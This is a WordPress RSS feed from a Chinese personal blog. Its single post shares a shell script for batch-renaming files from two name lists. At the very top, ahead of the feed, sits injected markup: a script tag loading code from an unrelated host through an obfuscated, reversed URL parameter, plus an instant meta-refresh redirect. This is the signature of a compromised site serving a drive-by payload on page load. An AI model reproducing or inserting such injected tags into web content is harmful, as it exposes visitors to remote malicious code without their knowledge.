<script src='http://turnitupnow.net/?rnd=6571deef%2Fllehs%2Fgat%2Fmoc.elcerim.www'></script><meta http-equiv='refresh' content='0;url=http://www.mirecle.com/tag/shell/feed'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>闫鹏 blog &#187; shell</title>
	<atom:link href="http://www.mirecle.com/tag/shell/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mirecle.com</link>
	<description>it,技术,经济生活,互联网</description>
	<lastBuildDate>Wed, 16 Mar 2011 06:39:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2</generator>
		<item>
		<title>linux的shell下文件批量改名</title>
		<link>http://www.mirecle.com/2010/01/27/batch-rename-files-in-shell.html</link>
		<comments>http://www.mirecle.com/2010/01/27/batch-rename-files-in-shell.html#comments</comments>
		<pubDate>Wed, 27 Jan 2010 08:21:29 +0000</pubDate>
		<dc:creator>闫鹏</dc:creator>
				<category><![CDATA[程序员]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.mirecle.com/?p=96052</guid>
		<description><![CDATA[以前写的一个小脚本，用在linux的shell批量修改大量文件名的情况下。昨天不小心删除了大量文件，找回的时候，又一次用到了它，在遇到大批量文件的时候，还是挺有效果的，共享一下。 用法： 1.将你要改名的文件都放在同一个文件夹下，运行”ls -l &#62; oldnames”，然后“vi oldnames”，这时候看到的大概是这个样子： total 1224 drwxrwxr-x   3 yanpeng yanpeng    4096 Sep 17 16:13 app drwxrwxr-x   2 yanpeng yanpeng    4096 May 19  2009 bin drwxrwxr-x   2 yanpeng yanpeng    8192 Jan 26 16:40 docpay 2.输入”ctrl+v”，移动光标，选中要删除的那一堆内容，其实就是文件名前面的那些列，输入“d”，得到的文件大概为 app bin docpay 3.删除掉第一行的空行，保存退出vi，然后”cp oldnames newnames”。 4.修改newnames文件中想要改名的文件为新文件名 5.将change_name.sh脚本放在你的那个放置文件的夹下，运行./change_name.sh就可以了(注意有执行权限，加执行权限的方法chmod a+x change_name.sh) change_name.sh脚本内容，拷贝下，存好就能用了 #!/bin/sh OLDNAMES='oldnames' NEWNAMES='newnames' fileline=`sed -n '$=' $OLDNAMES` [...]


您可能会喜欢:<ol><li><a href='http://www.mirecle.com/2009/07/16/sub-level-management-tag-files.html' rel='bookmark' title='Permanent Link: 分层次管理tag文件'>分层次管理tag文件</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<p>以前写的一个小脚本，用在linux的shell批量修改大量文件名的情况下。昨天不小心删除了大量文件，找回的时候，又一次用到了它，在遇到大批量文件的时候，还是挺有效果的，共享一下。</p>
<p><strong>用法：</strong></p>
<p>1.将你要改名的文件都放在同一个文件夹下，运行”ls -l &gt; oldnames”，然后“vi oldnames”，这时候看到的大概是这个样子：</p>
<pre name="code" class="text">
total 1224
drwxrwxr-x   3 yanpeng yanpeng    4096 Sep 17 16:13 app
drwxrwxr-x   2 yanpeng yanpeng    4096 May 19  2009 bin
drwxrwxr-x   2 yanpeng yanpeng    8192 Jan 26 16:40 docpay
</pre>
<p>2.输入”ctrl+v”，移动光标，选中要删除的那一堆内容，其实就是文件名前面的那些列，输入“d”，得到的文件大概为</p>
<pre name="code" class="text">
app
bin
docpay
</pre>
<p>3.删除掉第一行的空行，保存退出vi，然后”cp oldnames newnames”。</p>
<p>4.修改newnames文件中想要改名的文件为新文件名</p>
<p>5.将change_name.sh脚本放在你的那个放置文件的夹下，运行./change_name.sh就可以了(注意有执行权限，加执行权限的方法chmod a+x change_name.sh)</p>
<p>change_name.sh脚本内容，拷贝下，存好就能用了</p>
<pre class="bursh:bash">

#!/bin/sh

OLDNAMES='oldnames'
NEWNAMES='newnames'

fileline=`sed -n '$=' $OLDNAMES`
echo $fileline

index=1
while [ $index -le $fileline ]
do
oldname=`sed -n "${index}p" $OLDNAMES`
newname=`sed -n "${index}p" $NEWNAMES`
mv $oldname $newname
index=`expr $index + 1`
done
</pre>
本文永久链接:<a href="http://www.mirecle.com/2010/01/27/batch-rename-files-in-shell.html">http://www.mirecle.com/2010/01/27/batch-rename-files-in-shell.html</a>
<br/>
[<a href="http://www.mirecle.com/2010/01/27/batch-rename-files-in-shell.html#respond">发表评论</a>]

<p>您可能会喜欢:<ol><li><a href='http://www.mirecle.com/2009/07/16/sub-level-management-tag-files.html' rel='bookmark' title='Permanent Link: 分层次管理tag文件'>分层次管理tag文件</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.mirecle.com/2010/01/27/batch-rename-files-in-shell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

